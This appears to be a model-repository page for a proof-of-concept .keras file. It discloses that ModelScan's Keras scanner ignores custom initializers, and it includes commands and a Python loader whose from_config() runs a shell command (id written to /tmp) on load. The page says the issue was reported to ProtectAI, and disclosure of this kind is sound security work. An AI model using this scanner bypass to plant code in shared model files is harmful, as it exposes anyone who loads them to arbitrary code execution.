ModelScan Initializer from_config Bypass β€” RCE via kernel_initializer

What This Is

ModelScan's Keras scanners only check Lambda layers. All other serialized custom objects β€” including initializers, constraints, and regularizers embedded inside layer configs β€” are completely ignored.

This .keras file uses a registered custom initializer (MyInit>BadInit) as the kernel_initializer for a Dense layer. ModelScan reports 0 Issues. When loaded, the initializer's from_config() executes arbitrary code.

Verify

# 1. ModelScan says CLEAN
modelscan -p model.keras
# Output: Issues: 0, Errors: 0, Skipped: 0

# 2. Initializer is in layer config
python3 -c "
import zipfile, json
with zipfile.ZipFile('model.keras') as zf:
    c = json.load(zf.open('config.json'))
    init = c['config']['layers'][1]['config']['kernel_initializer']
    print(f'class_name: {init[\"class_name\"]}')
    print(f'registered: {init[\"registered_name\"]}')
"

# 3. Load β†’ from_config β†’ RCE
python3 -c "
import tensorflow as tf, keras, os
@keras.saving.register_keras_serializable(package='MyInit')
class BadInit(tf.keras.initializers.GlorotUniform):
    @classmethod
    def from_config(cls, config):
        import os; os.system('id > /tmp/INIT_RCE')
        return super().from_config(config)
model = tf.keras.models.load_model('model.keras', safe_mode=False)
print('RCE:', os.path.exists('/tmp/INIT_RCE'))
"

Attack Surface

Initializers live inside layer configs (e.g., kernel_initializer, bias_initializer). ModelScan iterates over layers but only checks class_name == "Lambda". Any registered custom initializer, constraint, or regularizer escapes detection entirely.

Disclosure

Submitted to ProtectAI via huntr.dev.

Downloads last month
16
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support